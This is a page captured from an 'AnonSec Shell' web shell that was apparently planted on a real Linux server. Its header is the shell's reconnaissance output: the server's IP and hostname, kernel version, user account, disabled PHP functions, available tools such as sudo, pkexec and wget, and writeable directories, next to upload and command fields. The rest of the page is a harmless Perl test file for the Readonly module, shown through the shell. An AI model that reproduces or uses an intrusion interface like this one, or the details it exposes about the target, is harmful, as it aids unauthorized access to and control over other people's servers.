AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/perl-Readonly-1.03/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /usr/share/doc/perl-Readonly-1.03/t/scalar.t
#!/usr/bin/perl -I..

# Readonly scalar tests

use strict;
use Test::More tests => 12;

# Find the module (1 test)
BEGIN {use_ok('Readonly'); }

sub expected
{
    my $line = shift;
    $@ =~ s/\.$//;   # difference between croak and die
    return "Modification of a read-only value attempted at " . __FILE__ . " line $line\n";
}

use vars qw/$s1 $s2/;
my ($ms1, $ms2);

# creation (4 tests)
eval {Readonly::Scalar $s1 => 13};
is $@ => '', 'Create a global scalar';
eval {Readonly::Scalar $ms1 => 31};
is $@ => '', 'Create a lexical scalar';
eval {Readonly::Scalar $s2 => undef};
is $@ => '', 'Create an undef global scalar';
eval 'Readonly::Scalar $ms2';    # must be eval string because it's a compile-time error
like $@ => qr/^Not enough arguments for Readonly::Scalar/, 'Try w/o args';

# fetching (4 tests)
is $s1  => 13, 'Fetch global';
is $ms1 => 31, 'Fetch lexical';
ok !defined $s2, 'Fetch undef global';
ok !defined $ms2, 'Fetch undef lexical';

# storing (2 tests)
eval {$s1 = 7};
is $@ => expected(__LINE__-1), 'Error setting global';
is $s1 => 13, 'Readonly global value unchanged';

# untie (1 test)
SKIP:{
	skip "Can't catch 'untie' until perl 5.6", 1 if $] < 5.006;
    skip "Scalars not tied: XS in use", 1 if $Readonly::XSokay;
	eval {untie $ms1};
	is $@ => expected(__LINE__-1), 'Untie';
	}

Anon7 - 2022
AnonSec Team